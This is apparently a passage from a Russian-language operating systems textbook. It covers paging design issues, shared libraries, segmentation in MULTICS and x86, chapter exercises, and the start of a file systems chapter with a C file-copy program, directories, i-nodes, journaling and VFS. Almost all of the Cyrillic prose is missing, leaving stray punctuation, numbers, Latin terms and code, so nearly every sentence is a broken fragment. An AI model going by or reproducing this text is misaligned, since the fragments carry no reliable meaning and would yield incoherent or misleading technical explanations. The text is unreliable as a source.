. , ,
, .

3.5.

, ,
.
.
. , , . ,
,
.

258

3.

3.5.1.


.
, ( ):
?
. 3.20, . : A, B C,
. , A .
, , A, ,
? , A, A5,
, . 3.20, .

. 3.20. :
; ;

,
, , B3, , . 3.20, . , . 3.20, ,
, , . 3.20, , .

. .
, .

3.5.

259

, . , ,
. ,
.
, ,
. , ,
.
,
.
.
. ,
12 416 ( )
10 1241 .
.
,
10 300 .
, 300 30 ,
10 . , -
, , .
,
, :
, - -.
, , .

, ,
.
(Page Fault Frequency
(PFF)). , , ,
.
.
, , LRU, , , .
PFF. . 3.21.

, .
. , A,

260

3.

. 3.21.

, , , ,
, .
, B, , ,
. .
PFF
.
,
, . , FIFO ( )
, ( ).
LRU ( )
, ( ). ,
.
. , WSClock
. ,
,
.

3.5.2.
.
,
.
PFF, , , .
,
.
.

3.5.

261


. , ,
.
,
. ,
, . ,
,
,
.
, , , , . ,
, ,
. -
, - .
, , .
,
.

, ,

-, ,
.

3.5.3.
, . , ,
4096 , 0 1,
2 3, 4 5 . . 8 , 8192 .
. ,
. ,
. , .
. . . n ,
p , np/2 .
.

, , 4 .
32 32 .
16 16 . 4 4 .

262

3.

,
, .
,
,
. 32 4
8 , 64 512 . , , ,
,
, . 64 512 64 10 ,
8 4 12 .
,
TLB. , 1 64 . 4
16 TLB. 2
TLB ( ). - TLB- , ,
. ,
. ,
.
( )
.
,
. , , .
.
s , p .
, e .
, , s/p,
se/p . -
p/2.
,
:
= se/p + p/2.
( ) . ( )
.
- . p
,
se/p2 + 1/2 = 0.
, ( ).
:

3.5.

263

s = 1 e = 8 4 .
512 64 . 1 ,
4 .

3.5.4.
, ,
. 3.22, , . .
, - ,
.

. 3.22. : ;
(I) (D)

, PDP-11,
(
) , I- D- (. 3.22, ). 0 ,
216 1 232 1. , I- D-,
0, .

.

. , , I- I-.
D-.
, I- D-
.
, , , .

264

3.

I- D- . ,
L1, .

3.5.5.
. . , .
,
.
, . ,
, , , ,
.
I- D-, , I-,
D-. , , , . ,
. 3.23, :
I-, D-.
,
(MMU). (
) I- D-,
.
, . , , A B, .
A ,
- , ,
B
.
A ,
, . , , ,

,
( ), .
,
, . , UNIX
fork , .

3.5.

265

. 3.23. , ,


.
, fork .
READ ONLY.
, ,
. - ,

. ,
.
- READ-WRITE,
. ,
, ( ),
. ,
. ,
(copy on write),
.

3.5.6.
.
, ,
. , .

266

3.


. , ,
, .
, , - .
, .

() , Windows
(Dynamic Link Libraries (DLL)). , .

, , , , , UNIX
ld *.o lc lm

.o (object),
, , /usr/lib/libc.a /usr/lib/libm.a.
, , (, printf), . ,
. ,
. , printf
write, , write ,
, , .
, , ,
. ,
. ,
.
, 2050 , .

, ,
, ,
. .
( ),
-, .
,
. ,
,
. , .
, , ,
, .

3.5.

267


: ,
, , , , .
.
, .
, Microsoft ,
DLL, Windows Update DLL ,
, DLL,
.
, . . 3.24.
, 20 (,
4 ). , -,
. 1 , 36 ; 2
12 . , ,
, 16.
, , ( 1) 36 + 16.
, , , ,
MMU.
,
. ,

. 3.24. ,

2 ( 12 ),
12 + 16, 36 + 16. .

, ,
. , ,
.

268

3.


, , . , . ,
, ( ) n
( , ).

.
. ,
, .

3.5.7.

, . ,
-
. ,
,
. ,
.
-.

, .
.
,
. , , ,
, . ,
, ,
( ).
,
.

3.5.8.
,
. , , ,

.
, , ,
, , .
, ,

3.5.

269

- .
, .
. ,
, .
,
. ,
, ,
.

. .
,
. ,
. ,
.
, .

3.5.9.
,
, , ,
( )
. ,
, .
.

, .
,
,
. ( )
,
: ,
.
(De Bruijn, 2011).
. , ,
. ,
( ),
, .
, .
(Feeley et al., 1995; Li, 1986; Li and Hudak, 1989; Zekauskas

270

3.

et al., 1994). , , ,
, ,
. ,
, .
, ,
, ,
. , , , .
8.

3.6.
-
, ,
, , , .
.
.

3.6.1.

, ,
: , , .
, ,
.
, ()
, .
, .
,
. , , .
,
,
.
, . ,

.
, (MMU)
,
(TLB) , . .

3.6.

271

-
( ). ,
(,
, , ).
, ,
. , , . , , , -
. .
, , , , .
, , , .
, ,
.

3.6.2.
- , .
:
1. ,
.
.
2. ,
,
. .
3. , ,
, .
.
,
, ,
, .
4. , ,
. .
, , .
, ,
.
5. ,
,
, , -

272

3.

, .
, .
6. ( ,
), ,
, ,
. , , ,
, .
7. , ,
, ,
.
8. , , , , ,
.
9. , , , ,
.
10. , ,
.

3.6.3.
, , ,
, ,
.
, .
, .
,
, , Motorola 680x0,
. , , . 3.25 6
MOV.L #6(A1),2(A0)

, , .
, , ,
.

. 3.25. ,

3.6.

273

. 3.25 , 1000,
: .
, ,
1000, 1002
1004. ,
. 1002,
, 1002 ,
1000 ( , ),
, .
. 680x0 , ,
, .
, , .
,
.
,

. , .
,
,
.
, , ,
.
, , .
,
, , . , - , , .
, ,
. .

3.6.4.
- , , , , - . - . , -
, .
- ,
. .
, , , , -,
. - (DMA)

274

3.

, , ,
,
. ,
-, .
(pinning) . -
.

3.6.5.
, ,
, ,
. ,
.
() ,
, (
-).
UNIX-. , .
.

. ,
, .
, .
. .
10.
,
, .
. :
. ,
. ,
.
.
: . ,
, . ,
,
.
- ,
. .

3.6.

275

,
. . 3.26.

. 3.26. : ;

. 3.26, . 0, 3, 4 6
, 1, 2, 5 7 . (
), ,
.
, , , . ,
, ( ),
, .
. 3.26, . , ,
( ) , ,
,
() .
, . 3.26, .

(
).
. ,
, .
.
, .

276

3.

. Windows.
. -
, ,
. , ,
, ,
.
.

3.6.6.
, , .
. Mach
(Young et al., 1987), .
, ,
. 3.27. :
(MMU);
, ;
, .

. 3.27.

MMU ,

, .
. -

3.7.

277

,
.
,

.
, .
, . , ,
, .

. ,
.
MMU
. .
,
. , , ,
. , R
M ,
. , -
,
.
, , ,
, . .
.

, . ,
, , , -
.

3.7.
,
0 .

,
. , , , :

278

3.

, ( );
, ;
, , , ;
, ;
, .
. .

, . 3.28.

. 3.28.

, , , ,
, .
, ,
, .

, .

, .
0
. 0
. , -

3.7.

279

. , .
.
, , .
, ,
, ,
, . ,
, ,
. , , ,
, :
. . 3.29 , .
.

. 3.29.

, .
. ,
, , ,
.

. , 0 , .
,
, , n ,
(n, 0) 0 ( ).

280

3.

n ,
(
), . , . ,
( )
. , , , , .
,
.
. . ,
, , .

, . ,
, . ,
.
,
, , ,
. , - .
, ,
. .
. 3.3.
3.3.

, ?

?

?

?
, ?
?

3.7.

281

3.7.1.

: , .
. 3.30, , .
, , 1 ,
7. ,
. 3.30, . 7 2 , .
4 5 (. 3.30, ), 3 6 (. 3.30, ).

. 3.30. : ;

- ,
, , . ,
, , . (. 3.30, ).

3.7.2. :
MULTICS

. -

282

3.

, ,
.
. ,
MULTICS. Intel x86
x86-64.
MULTICS -
, - , UNIX, x86, TLB-
. M.I.T.,
1969 . MULTICS-,
31 , 2000-. . Windows, Windows 8
Windows 1.0, ,
Microsoft.
, , MULTICS, , 1965 ,
(Corbat Vyssotsky, 1965).
MULTICS . MULTICS
www.multicians.org.
MULTICS Honeywell 6000
218 ,
65 536 (36-) . , MULTICS
,
(
, )
( , , ).
MULTICS ,
. ,
.
, . -
, , . ,
(. 3.31, ) 18- .
24- ,
64- (, 6
000000),
18 . ,
. MULTICS . 3.31, .
,
, .

, ,
. 1024

3.7.

283

. 3.31. MULTICS:
; .

( ,
MULTICS,
64 ).
MULTICS : . , ,
(. 3.32).
, :
1. .
2. , .
, .

284

3.

, .
( ).
3. .
, .
,
.
4. ,
, .
5. , .

. 3.32. 34- MULTICS

. 3.33. , ,
. : ( ),
,
.
, (. 3.33).

. 3.33. MULTICS

3.7.

285

, , ,
,
.
MULTICS (TLB)
16 , . . 3.34.
,
TLB. ,
TLB ,
, .

. 3.34. TLB MULTICS.


TLB

16 ,
. ,
TLB, TLB, ,
, TLB.

3.7.3. :
Intel x86
x86-64 x86 MULTICS, , . MULTICS 256 K ,
64 36- , x86 16 K ,
1 32- . ,
, ,
1000 , , . x86-64,
, .

x86-64 , ,

286

3.

. x86-32
,
.
x86 :
(Local Descriptor Table (LDT))
(Global Descriptor Table (GDT)). LDT,
,
, . LDT , , , , . ., GDT
, .
, , x86, .
CS ,
DS . (. 3.35) 16- .

. 3.35. Pentium

, ( ,
). 13 , 8
. 2
. 0 .
, , .
.

, ,
, .
. 3.36, 8 , ,
.
,
. 2
.
, 0. ,
, LDT GDT,
. , 72 9
, GDT + 72.
, (, )
. ,

3.7.

287

. 3.36. Pentium.

, , . ( 0)
, .
Limit, , , .
, 32-
, 20 , . Gbit
(Granularity ) 0, Limit
1 . 1, Limit
, . , 4 , 20
232 .
, ,
x86 32- Base () , , (. 3.37). Base
,
Intel 80286, Base 24 . , Base
32-
.

. 3.37.

288

3.

( ),
. ,
,
. ,
, -
, .
, ,
, .
, 32-
4 1 ,
.
, 1024 32- . , .
, 1024
32- . , , . . 3.38.

. 3.38.

, : , . ,
. -

3.7.

289

,
. , ,
.
32 , 20
.
, ,
.
1024
4 , , 4 . , 4 ,
. ,

1 , .
, x86, MULTICS,
(TLB),

. , . 3.38, TLB,
. TLB
, .
, ,
, ,
32- .
, Base = 0,
Limit .
,
. x86.
OS/2,
(MMU) Intel.
Intel ,
MULTICS, ? , , UNIX, Windows
, ,

. UNIX- Windows-
x86,
. , Intel
64- .
, - x86.
: ,

286- , , ,
.

290

3.

3.8.
, , -
, , , ,
, , ,
(Moruz et al., 2012) , , (Stoica and Ailamaki, 2013).
,
(Chen et al., 2012).

(Lee et al., 2013), (Saito and Oikawa, 2012)
(Bheda et al., 2011, 2012).
, . ,
(Bugnion et al., 2012). Jantz
et al. (2013), .
,
- ,
(Peserico, 2013).

(Boyd-Wickizer et al., 2008, Baumann et al., 2009).
, (Lopez-Ortiz and Salinger, 2012).

NUMA-, (Dashti et al., 2013; Lankes et al., 2012).
, ,
, -. Joo et al. (2012).
, - (Kato et al., 2011).

3.9.
. ,

. , , .
, .
.

291

.
, . , ,
.
.
.

, , . , WSClock.
,
,
, ,
.
,
,
. . ,
.
, MULTICS 32- Intel x86.
,
( ). ,
, . 64- x86.

1. IBM 360 2 ,
4-
4- . , .
2. , . 3.3,
16 384. , -, ? ,
?
3. , ,
. , 32- 4 . ()
4 ? , , 0
, .
4. , , : 10 , 4 , 20 , 18 ,
7 , 9 , 12 15 .
:

292

3.

a) 12 ;
) 10 ;
) 9
? , .
5. ?
6.
4
8 : 20 000, 32 768, 60 000.
7. , . 3.9, ,
:
) 20;
) 4100;
) 8300.
8. Intel 8086
. ,
8086 . , .
: , (MMU).
9. ,
?
10. ,
. - ?
11. C:
int X[N];
int step = M; // M
for (int i = 0; i < N; i += step) X[i] = X[i] + 1;

) M N (TLB) ,
4 TLB
64 ?
) , ?
.
12. ,
, n,
v r.
.
?
13. 1 ,
n , ,
k .

293

14. 32-
8 . ,
32- .
,
100 .
, 100 (
)?
15. , 48- 32-
.
) 4 , , ? .
) ,
TLB, 32 . ,
, ,
,
. TLB ?
16. :
) TLB 1024 1
(1 ).
) 100 ,
100 .
) 6 .
17. TLB 99 %
0,01 % , ?
18. , 38-
32- .
) ?
)

, 16 4 ?
.
19. 3.3.4 , Pentium Pro 64 , -
4 . , ,
64 ?
20. 32- .
9- , 11- .
?
21. 32-
4 . (04095).
.

294

3.

, () ?
, 10 ?
22.
512- . 1020,
8192 ( 0).
, .
4 (1 ), . ,
, , .
6144 0.
0 .
5120 .
16 .
4.
5152.
23. , 1024 , .
5 . , (TLB), 32 (
, ), 1 .
,
2 ?
24. , TLB,

?
25. 48- 32- . 8 .
?
26. 8 , 256
64 .
-,
- 1? , -
2.
27. , ,
, ,
. ? ?
- , ?
28. , ,
. ,
: 0, 1, ... , 511, 431, 0, 1, ... , 511, 332, 0, 1...

295

0, 1, ... , 511,
431 332.
) (LRU, FIFO, )
, , ?
) 500 , , , LRU, FIFO .
29. FIFO,
0172327103 ,
?
LRU.
30. , . 3.14, . , R B A 11011011.
?
31. - .
R 0111 ( 0 R 0, 1). R
1011, 1010, 1101, 0010, 1010, 1100 0001.
,
8- .
32. ,
, , LRU. ,
0, 1, 2, 3.
33. WSClock (. . 3.19, )
R = 0. , t = 400? ,
t = 1000?
34. , WSClock t,
, :

0
1
2
3
4


6
9
9
7
4

1
1
1
1
0

0
1
1
0
0

1
0
1
0
0

, V, R M, Valid (),
Referenced ( ) Modified ().
) , 10 . . (, , .)
) , 10 , 4.

296

3.

. . (, , .)
35. ,
(FIFO, LRU, ) , , .
) FIFO? LRU? ?
) .
36. 64 , 5 , 5 ,
1 :
) 2 ;
) 4 ?
,
, ,
.
37. . , R M (
).

126

280

230

265

140

270

110

285

:
) NRU;
) FIFO;
) LRU;
) ?
38. , , , , . ,
,
.
)
,
? .
) ?
39. :
int X[64][64];

297

, 128 (
). , X,
0. .
X ( X[0][1]
X[0][0]).
?
.
:
for (int j = 0; j < 64; j++)
for (int i = 0; i < 64; i++) X[i][j] = 0;

:
for (int i = 0; i < 64; i++)
for (int j = 0; j < 64; j++) X[i][j] = 0;

40. , . ,

, .
) ?
) ? ?
41. , PDP-1 DEC,
4 18- .
.
,
4 18- .
,
. , ?
42. 65 536 , 4096 .
32 768 , 16 386 , 15 870 .
?
4096, 512 , ?
, , ,
.
43. , ,
, .
. , 1 , , 2001 ( 2 ).
60 15 000
,
?
44. Frugal Computer Company ,

298

3.

.
, . ,
?
, ?
45. , 32-
, 32- .
?
46. .
? , ?
47. , ,
MULTICS, , .
(TLB)?
48. , : 0 ,
, 1. 0 ,
, 1 , .
, 4-
10- . ( ).
0


0
1
2
3
4
5
6
7

2

11
5


4
3

0
1
2
3
4
5
6
7


14
9
6

13
8
12

()
, ,
(
, ):
) 1, 1, 3;
) 0, 0, 16;
) 1, 4, 28;
) 1, 3, 32.

299

49. ,
? ? .
50. . ,
?
?
51.
. Windows .exe .dll, UNIX
/bin, /usr/bin /local/bin, (
file, ).
, . ,

.
52. , . .
.
,
1000
.
53. , , WSClock. ,
(
), (
). :
;
,
;
, .
) .
) , ( )
.
) ,
1000 .
) ,
, .
54. ,
TLB ,
, .
) , , ,
- .

300

3.

) ,
.
) , ,
.
55. , . ,
. N
, 0 N 1, , p1, i, ,
.
.
) , - N.
) , .
.
)
.
) , , .
, .
56. , TLB,
.
. , TLB
, TLB
. :
TLB;
,
;
, (, );
TLB- entry.
) .
) , ( )
.
) , TLB
1000 .

4.

.

. . ,
, ,
, .
, , , . (, )
, .
. ,
.
, - ( )
.
,
.
.
, :
1. .
2. .
3. .

. ,
.
.
, , .
5,
,
:
k;
k.

302

4.

, , , .
, , , , (,
). :
?
?
, ?
.
,
, ,
, , .
( ), , .
, ,
.
, .
.
, , ,
, .
, , .
, , ,
.
, .
, ,
.
. , , ,
, , . ,
, , .

, , ,
, . . ,
, ,
, , . .
.
. ,
.

4.1.

303

4.1.
,
, .

4.1.1.
.
,

.
, ,
, . ,
. , ,
.
,

.
andrea, bruce cathy.
, , 2, urgent!
Fig.2-14. 255 .
, . UNIX ,
MS-DOS . (, MS-DOS
,
.) UNIX maria,
Maria MARIA . MS-DOS
.
, , .
, Windows 95 Windows 98,
MS-DOS FAT-16, ,
, , . Windows 98
FAT-16, FAT-32, . Windows NT, Windows 2000, Windows XP, Windows
Vista, Windows 7 Windows 8 - FAT,
.
NTFS,
( ,
Unicode). Windows 8 ,
ReFS ( Resilient File System ),
. MS-DOS
FAT , , FAT-16
FAT-32, Windows.
FAT, NTFS 12, Windows 8. , FAT- ,
exFAT. Microsoft FAT-32, -

304

4.

- . ExFAT
Microsoft,
OS X .
,
, , , , prog.c. ,
, , , . , MS-DOS 18 () , 13 . UNIX
,
, homepage.html.zip, .html
- HTML, .zip , (homepage.html)
. . 4.1.
4.1.

.bak

.c

.gif

GIF

.hlp

.html

HTML

.jpg

JPEG

.mp3

MPEG layer 3

.mpg

MPEG

.o

( ,
)

.pdf

PDF

.ps

PostScript

.tex

TEX

.txt

.zip

, zip

(, UNIX)
. file.txt ,
, .
C ,
.c, ,
. .
,
. , C
, ,
C,
.
.

4.1.

305

Windows, ,
. ( ) , ,
. ,
, . , file.docx Microsoft Word,
file.docx .

4.1.2.
. . 4.1. . 4.1, . ,
, , . -
.
UNIX, Windows.

. 4.1. : ; ;

, , .
, , , .
, .
,
- . UNIX
( Linux OS X) Windows.
. 4.1, .
,
. ,
, . -

306

4.

, ,
80 ,
,
80- , , . , 132- , (
, 132 ).
80 , 132 ,
52 .
, , 80- 132-
, ,
.
. 4.2, .
, ,
.
, .
, , .
(. . 4.1, ) , ,
, . ,
, , , , . ,
, UNIX Windows,
,
.

4.1.3.
. ,
UNIX ( OS X) Windows . UNIX .
, .
. 4.1 . ,
. .
- -, ,
.
. .
, ASCII, .
ASCII- . .
. (, Windows) .
.
ASCII- ,
. , ASCII-

4.1.

307

,
, . (
, , , , ASCII.)
,
ASCII-. .
, .
, . 4.2, ,
UNIX. ,
, .
: , , , .
,
( ,
).
, , , -.
. .
.
, UNIX (.
. 4.2, ). , (). ,
, , , .
, . .

,
. TOPS-20 ( DECsystem 20)
. ,
. ,
. UNIX ,
make . , ,
.
,
- . , , , .dat ( ).
, .c ( C), (,
),
, .dat.
C, ,
, . file.
dat file.c (
).

308

4.

. 4.2. : ;

, , , ,
, .

4.1.4.

.
, ,
.
, . ,
, .
,

, . ,

4.1.

309

, . .
,
.
, , , , .
.
, ,
read. seek.
. UNIX Windows.

4.1.5.
. ,
.
. .
. . 4.2
, . ,
- .
,
, . ,
.
, .
,
.
, . , ,
. .
, .

.
, , . ,
.
,
, .
. ,
,
.
.

310

4.

4.2.

0 ; 1

0 ; 1

0 ; 1

0 ; 1

ASCII/

0 ASCII; 1

0 ; 1

0 ; 1

0 ;

, .
,
.
,
.

4.1.6.

. , -

4.1.

311

.
, .
Create (). .
.
Delete (). , , .
.
Open (). .
open ,
.
Close ().
, ,
.
, . ,
, .
Read ( ). . , . .
Write ( ). , , .
, . - ,
, .
Append ().
write. . , , , append ,
,
append.
Seek ().
, . seek, .
.
Get attributes ( ).
. , UNIX make
,
. make

. ,
.
Set attributes ( ). , .
.

312

4.

. .
Rename (). . .
,
, .

4.1.7. ,

UNIX-,
- -. 4.1.
,
, .
4.1.
/* .
. */
#include
*/
#include
#include
#include

<sys/types.h>

/*

<fcntl.h>
<stdlib.h>
<unistd.h>

int main(int argc, char *argv[]);

/* ANSI- */

#define BUF_SIZE 4096

/*
4096 */
/* */

#define OUTPUT_MODE 0700


int main(int argc, char *argv[])
{
int in_fd, out_fd, rd_count, wt_count;
char buffer[BUF_SIZE];
if (argc != 3) exit(1);

/* argc 3,
*/

/* */
in_fd = open(argv[1], O_RDONLY);
/* */
if (in_fd < 0) exit(2);
/* , */
out_fd = creat(argv[2], OUTPUT_MODE);
/* - */
if (out_fd < 0) exit(3);
/* , */
/* */
while (TRUE) {
rd_count = read(in_fd, buffer, BUF_SIZE); /* */
if (rd_count <= 0) break;
/*
*/
wt_count = write(out_fd, buffer, rd_count); /* */

4.1.

313

if (wt_count <= 0) exit(4); /* wt_count <= 0 */


}
/* */
close(in_fd);
close(out_fd);
if (rd_count == 0)
exit(0);
else
exit(5);

/* */

/* */

copyfile , ,
copyfile abc xyz

abc xyz. xyz ,


. , .
,
. -,
.
#include
. ,
. , ANSI C,
main, .
#define BUF_SIZE ,
4096.
4096 .

. ,
. #define
, .
, main, argc
argv. . ,
, ,
. 3.
. , ,
:
argv[0] = "copyfile"
argv[1] = "abc"
argv[2] = "xyz"

.
. , in_ fd
out_ fd, , . , rd_count wt_count,
, read write . , buffer,
.

314

4.

,
argc 3. argc 3, 1. 0 , .

.
.
. , in_ fd
, .
, , .
, , out_ fd
. creat .
, 1 .
,
buffer 4 .
read, read.
, , ,
. , rd_count,
. 4096, ,
. 0.
rd_count ,
, (
) break.
write
. , , ,
read, , .
, ,
BUF_SIZE. ,
4096, 4 .
, ,
rd_count 0, .
,
.
Windows
UNIX, Windows,
, , , 4.1. Windows 8 11.

4.2.
,
. ,
, , .

4.2.

315

4.2.1.
,
. , -, .
- ,
. , , CDC 6600,
, ,
. ,
.
, , . 4.3.
, .
,
.
.

. 4.3. ,

4.2.2.

( ), , , -,
, .
, . ,
, ,
, ,
, , , , ,
, ,
, , , . .
( ).
, . ,
, ,
.
. 4.4. A, B C,
,
, .
, .
.

316

4.

. 4.4.

4.2.3.
, -
. .
( ),
. , /usr/ast/mailbox ,
usr, , , ast,
mailbox.
. UNIX
/. Windows \. MULTICS
>.
:
Windows \usr\ast\mailbox
UNIX /usr/ast/mailbox
MULTICS >usr>ast>mailbox

, , , .
. ( ).
,

. , /usr/ast,
, /usr/ast/mailbox, ,
mailbox. , UNIX
cp /usr/ast/mailbox /usr/ast/mailbox.bak


cp mailbox mailbox.bak

, /usr/ast.
, , .

4.2.

317

,
. . ,
/usr/lib/dictionary.
, , ,
. , ,
.
, /usr/lib, :
/usr/lib, open
dictionary. ,
, .
, , ,
. ,
,
. ,
, ,
. -
, -
,
.
, , . .., -. ,
( ,
). , , UNIX (. 4.5).
, /usr/ast .
, .... ,
/usr/lib/dictionary
cp ../lib/dictionary .

(
usr), lib dictionary.
() .
cp ( ),
. , -:
cp /usr/lib/dictionary .

dictionary. ,
cp /usr/lib/dictionary dictionary

318

4.

. 4.5. UNIX

,
cp /usr/lib/dictionary /usr/ast/dictionary

4.2.4.

, , . ,
( UNIX).
Create ( ). , , (
mkdir).
Delete ( ). . , , ,
.
Opendir ( ). . , , , ls

4.3.

319

.
, .
Closedir ( ). , ,
.
Readdir ( ). .
read, , ,
. , readdir
,
.
Rename ( ).
, .
Link (). ,
.


. ,
, , . ,
i- ( , ),
, (hard link).
Unlink (). . ( ),
. , , . .
UNIX (
) unlink.
,
, , .
(symbolic
link). , ,
, , ,
. ,
, .
, .
,
, .
.

4.3.

. , , ,

320

4.

, . ,
, .
, ,
.

4.3.1.
.
,
. 0 (Master Boot
Record (MBR)) . MBR
.
. . BIOS ( -) MBR. ,
MBR, ,
, , . , .
,
. ,
- .
, , ,
. , . 4.6.
.
,
. , ,
, .
, . i-,
,

. 4.6.

4.3.

321

. ,
. ,
.

4.3.2.
,
.
.
.



. , , 1 , 50 50 .
, 2 , 25
.
. 4.7, . 40 , 0 . .
0 A .
A B, .
, , ,
A 3,5 , . ,

. 4.7. : ;
D F

322

4.

,
. , . .
. -, , :
.

.
-, ,
. ( ).
,
, .
,
.
, :
. ,
. 4.7, . D F. ,
.

() ,
, , ,
. ,
. 4.7, ,
.
, , .
, ,
, ,
. , .
.
, . , .
. ,
,
,
. ,
, , 1 ,
, . ,
500
. ., .
.

4.3.

323

, , -.

-.
DVD . , 90-
- 4,5 ,
UDF (Universal Disk Format
) 30- , . DVD-,
, - 1 ,
. ()
.
1,
.
( ).
-
. -, DVD, Blu-ray-

. , ,
.



(. 4.8). , .

. 4.8.

324

4.

,
.
( ).
, ,
. .
. n,
n 1 . ,
.
2,
. ,
, , 2.
,
, - .

,



. . 4.9 , ,
. 4.8. . A 4, 7, 2, 10 12, B 6, 3, 11 14. ,
. 4.9, 4
. 6.
(, 1),
. , , FAT (File
Allocation Table ).
. , .
- , , .
, (
) - , .
,
. 1- ,
1 , 1 ,
1 . 3 .
4 . , 3 2,4
, ,
, . , FAT

4.3.

325

. 4.9. ,

. MS-DOS,
Windows.

I-

, i- (index-node -),
. . 4.10. i-
. , , ,
i- , .
i- n ,
k , , , i-
, kn .
.
,
, . . , ,
. n , n .
. , , i-, ,
. ,
100, 1000 10 000 .

326

4.

. 4.10. i-

i- : , ,
?
, ,
(. . 4.10). , , .
, , .
i- UNIX 10.
Windows NTFS ,
i-, .

4.3.3.
, .
.
, , .
( ), ( ,
) i-. ASCII- ,
.
: ?
,

4.3.

327

, - . . . . 4.11, .
, ,
( ), ,
( ), , .

. 4.11. :
; i-

, i-,
i-.
i-. . 4.11, . ,
.
,
. MS-DOS , 18 , , 13 . UNIX 7
114 , .

. ?
,
255 , ,
. 4.11, 255 .
, ,
. - .
,
.
, , ,
, ,
. , ,
(. 4.12, ),
(, SPARC ).

328

4.

: project-budget, personnel foo.


( 0), . ,
,
.

. 4.12. : a ;
()

,
,
. , ,
. , -

.
,
, () (. 4.12, ).
, ( )
.
- ,
. ,
, ,
- , . 4.12, ,
, . 4.12, .

4.3.

329

,
, , .
. -.
n.
0 n 1, , n .
, ,
n - 1.
,
-. , .
-. ,
, , -, .
. -
.
, .
, , .
- , .
- ,
, .
. .
, .
, , .

4.3.4.
,
.
, , . . 4.13
, . 4.4, , C, ,
B. , B, . ,
(Directed Acyclic Graph (DAG)). ,
DAG, , .

,
,
( ) (, . .).
-. . .

330

4.

. 4.13. ,

.
:
, , B. - , B C,
- ,
, , . ,
.
.
, .
.
. UNIX (
i-).
, B C, LINK
B.
, . B ,
, , ,
LINK, .
() .
. , B , i-
C.
(. 4.14), i-,
, .
C ,
. i-, B
, i-. i-

4.3.

331

. 4.14. , : ; ;
( )

, , B,
(, , ). i-
, - ,
, , , .
i-,
.
, , C,
i-, 1 (. . 4.14, ).
, B ,
, C.
- ,
C - ,
B . ,
.
,
i- . , , i-.
. ,
. .

. , , ,
, i-.
.
, i-,
, ,
, i-.
, ,
.
, .

332

4.

.
, . , , , ,
. , ,
, ,
. , ,
,
.

4.3.5.
,
, , (
), .
, , (
, ).
,
. , , LFS (Log-structured
File System ). LFS.
LFS (Rosenblum and Ousterhout, 1991).
LFS , . ,

. ,
,
,
, ,
.
,
. ,
, 50 , , 10 ,
, 4 .
.
, ,
UNIX. i- , , i- . ,
, ,
. , ,
i- .

4.3.

333

LFS
UNIX , , .
.
, , , ,
. ,
i-, .
, ,
.
1 , .
- i- , UNIX,
,
. , i-, . , i-
,
i-, UNIX. i- i-,
i-. i i- .
, , .
: , , ,
.
i- . i-
. ,
.
, . ,
. ,
. ,
, i- ,
.
, LFS , ,
. ,
, i- .
i-, , i-
. , . i- ,
, .
,
. ,

.
, , , .

334

4.

, , ,
i- ( - ),
.
i-,
. , , .
, , ,
LFS UNIX ,
,
, UNIX.

4.3.6.

-
.

. . ,
,
, , ,
, . , ,
. NTFS,
Microsoft, Linux ext3 ReiserFS. OS X
.
.
, , . UNIX :
1. .
2. i-, i-.
3. .
Windows .
, . , ,
. , i- ,
,
, .
, .
i-,
,
- , .
, i- ,
i-, ,

4.3.

335

, , ,
.
.
,
.
(, , , , ).
.
.
, - . ,
(
), ,
.
,
- .
, , i- k n , , .
foobar .
i- k
, .

n, .

, .
.
, .
begin transaction end transaction.
, ,
.
NTFS ,
.
Windows NT 1993 .
Linux ReiserFS,
ext2. ext3,
, ReiserFS,
, ext21.

Linux , . ext4,
Linux. .
.

336

4.

4.3.7.
, . Windows
NTFS,
FAT-32 FAT-16, ,
, -,
- DVD ( ).
Windows , , C:, D: . . , ,
Windows , .
.
UNIX .
Linux ext2,
ext3-, /usr, ,
ReiserFS, /home, -,
ISO 9660, /mnt.
, .
,
Sun Microsystems (Kleiman, 1986) UNIX-,
, (virtual file system (VFS)).
, - , , ,

. . 4.15. Linux, FreeBSD,
UNIX, , UNIX-
.

. , -

. 4.15.

4.3.

337

, POSIX-, open, read, write,


lseek . . , VFS
, POSIX.
VFS ,
. 4.15 VFS-. , VFS
. ,
, VFS, ,
VFS. ,
,
. , VFS :
.
, VFS, , .
Sun VFS ,
(Network File System (NFS)).
VFS ,
VFS , VFS ,
.
VFS -, C, C++. , . (superblock),
, v- (v-node), , (directory), . (),
.
VFS , ,
, .
, VFS, . VFS .
() ,
, VFS.
, ,
, VFS, (),
, VFS-,
VFS. , VFS, , , ,
, (
- ) , .
VFS , ,
: ,
.
. ,
/usr
open("/usr/include/unistd.h",ORDONLY)

338

4.

VFS , /usr ,
, . , include/unistd.h. VFS v-
, ,
i- . v- (
) ,
, v-, read,
write, close . .
v- VFS , v-. (

, v-,
.) , VFS
, ,
.
, , , VFS
v-
,
, . ,
, ,
. VFS , ,
, - USB . . 4.16.
, v-,
read
.

. 4.16. , VFS

4.4.

339

, . - , , VFS, ,
. ,
, -,
, VFS, ,
.

4.4.

,
. , .

4.4.1.
,
.
n : n .
.
,
: ,
.
, ,
.
,
.


, : ? ,
, , (
, ).

.
( ), , , . ,
.
( )
,
, -

340

4.

. ,
, ,
.
, .
(Tanenbaum et al., 2006) (VU) 1984 , 2005 ,
-, - (www.
electoral-vote.com). . 4.3,
, ,
2. , 2005 59,13 % VU
4 , 90,84 % 64 . 2475 . - .
? ,
1 3050 % ,
4 , ,
6070 %. , 4 93 %
10 % . ,
- ,
(), , ,
- .
90 % .
4.3.

VU 1984

VU 2005

VU 1984

VU 2005

1,79

1,38

6,67

16

92,53

78,92

86,79

1,88

1,53

7,67

32

97,27

85,87

91,65

2,01

1,65

8,33

64

99,18

90,84

94,80

2,31

1,80

11,30

128

99,84

93,73

96,93

16

3,32

2,15

11,46

256

99,96

96,12

98,48

32

5,13

3,15

12,33

512

100,00

97,73

98,99

64

8,71

4,98

26,10

100,00

98,87

99,62

128

14,73

8,03

28,49

100,00

99,44

99,80

256

23,09

13,29

32,10

100,00

99,71

99,87

512

34,44

20,62

39,94

100,00

99,86

99,94

48,05

30,91

47,82

16

100,00

99,94

99,97

60,87

46,09

59,44

32

100,00

99,97

99,99

75,31

59,13

70,64

64

100,00

99,99

99,99

84,97

69,96

79,69

128

100,00

99,99

100,00

, .

4.4.

341

( ), ,
, .
,
1 . 8,33 , 5 . ,
k , , :
5 + 4,165 + (k/1 000 000) 8,33.
. 4.17
. .
, 4 . , VU, , , ,
, .
. 4.17
.

. 4.17. ( ) ,
( )
. 4

.
. ,
9 , , .
( ,
, ).
.
4 1, 2 4
. 8 4
50 %, 16
25 %. , .

342

4.

, .
,
. - . , ,
64 , 6,6 /,
,
7 %. .
, 1 4 ,
, 1 ,
